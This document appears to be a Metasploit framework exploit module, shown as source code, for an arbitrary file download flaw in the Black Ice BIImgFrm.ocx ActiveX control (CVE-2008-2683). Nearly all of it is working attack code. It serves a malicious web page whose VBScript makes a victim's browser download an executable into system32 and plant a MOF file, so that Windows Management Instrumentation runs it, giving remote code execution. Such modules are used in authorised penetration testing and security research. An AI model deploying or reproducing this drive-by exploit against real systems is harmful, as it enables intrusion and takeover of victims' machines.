Path: blob/master/modules/exploits/windows/browser/blackice_downloadimagefileurl.rb
19812 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpServer::HTML9include Msf::Exploit::EXE10include Msf::Exploit::WbemExec1112# include Msf::Exploit::Remote::BrowserAutopwn13# autopwn_info({14# :os_name => OperatingSystems::Match::WINDOWS,15# :ua_name => HttpClients::IE,16# :javascript => true,17# :rank => NormalRanking,18# :classid => "{79956462-F148-497F-B247-DF35A095F80B}",19# :method => "DownloadImageFileURL",20# })2122def initialize(info = {})23super(24update_info(25info,26'Name' => 'Black Ice Cover Page ActiveX Control Arbitrary File Download',27'Description' => %q{28This module allows remote attackers to place arbitrary files on a users file system29by abusing the "DownloadImageFileURL" method in the Black Ice BIImgFrm.ocx ActiveX30Control (BIImgFrm.ocx 12.0.0.0). Code execution can be achieved by first uploading the31payload to the remote machine, and then upload another mof file, which enables Windows32Management Instrumentation service to execute the binary. Please note that this module33currently only works for Windows before Vista. Also, a similar issue is reported in34BIDIB.ocx (10.9.3.0) within the Barcode SDK.35},36'License' => MSF_LICENSE,37'Author' => [38'shinnai', # original discovery39'mr_me <steventhomasseeley[at]gmail.com>', # msf40'sinn3r' # wbemexec tekniq41],42'References' => [43[ 'CVE', '2008-2683'],44[ 'OSVDB', '46007'],45[ 'BID', '29577'],46[ 'EDB', '5750' ],47],48'DefaultOptions' => {49'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',50},51'Payload' => {52'Space' => 2048,53'StackAdjustment' => -3500,54},55'Platform' => 'win',56'Targets' => [57# Windows before Vista58[ 'Automatic', {} ],59],60'DefaultTarget' => 0,61'DisclosureDate' => '2008-06-05',62'Notes' => {63'Reliability' => UNKNOWN_RELIABILITY,64'Stability' => UNKNOWN_STABILITY,65'SideEffects' => UNKNOWN_SIDE_EFFECTS66}67)68)69end7071def autofilter72false73end7475def check_dependencies76use_zlib77end7879def on_request_uri(cli, request)80if request.uri.match(/\.EXE/)81print_status("Sending EXE payload...")82send_response(cli, @payload, { 'Content-Type' => 'application/octet-stream' })83return84elsif request.uri.match(/\.MOF/)85return if @mof_name == nil or @payload_name == nil8687print_status("Generating mof")88mof = generate_mof(@mof_name, @payload_name)89print_status("Sending MOF")90send_response(cli, mof, { 'Content-Type' => 'application/octet-stream' })91return92end9394url = "http://"95url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']96url += ":" + datastore['SRVPORT'].to_s + get_resource() + "/"9798# VBScript variables99clsid = "79956462-F148-497F-B247-DF35A095F80B"100method = "DownloadImageFileURL"101blackice = rand_text_alpha(rand(100) + 1) # BlackIce object ID102@payload_name = rand_text_alpha(rand(10) + 1) + ".EXE" # Payload name103payload_vbs_url_name = rand_text_alpha(5) # Payload's vbs var name104payload_vbs_lpath = rand_text_alpha(6) # Payload's lpath var name105@mof_name = rand_text_alpha(rand(10) + 1) + ".MOF" # MOF path on victim machine106mof_vbs_url_name = rand_text_alpha(5) # MOF's vbs var name107mof_vbs_lpath = rand_text_alpha(6) # MOF's lpath var name108sub_name = rand_text_alpha(rand(10) + 1) # Subroutine name109110# Slow connection friendly: We will wait for 4 seconds before we try to execute our payload111# This delay seems necessary before calling mof, otherwise we end up interrupting downloading112# our payload113content = <<-EOS114<html>115<object classid='clsid:#{clsid}' id='#{blackice}' ></object>116<script language='vbscript'>117sub #{sub_name}118#{mof_vbs_url_name} = "#{url}#{@mof_name}"119#{mof_vbs_lpath} = "C:\\WINDOWS\\system32\\wbem\\mof\\#{@mof_name}"120#{blackice}.#{method} #{mof_vbs_url_name}, #{mof_vbs_lpath}121end sub122123#{payload_vbs_url_name} = "#{url}#{@payload_name}"124#{payload_vbs_lpath} = "C:\\WINDOWS\\system32\\#{@payload_name}"125#{blackice}.#{method} #{payload_vbs_url_name}, #{payload_vbs_lpath}126setTimeout "#{sub_name}()", 4000127</script>128</html>129EOS130131# Clear the extra tabs132content = content.gsub(/^ {4}/, '')133134print_status("Sending exploit HTML")135send_response_html(cli, content)136handler(cli)137end138139def exploit140@payload = generate_payload_exe141super142end143end144145146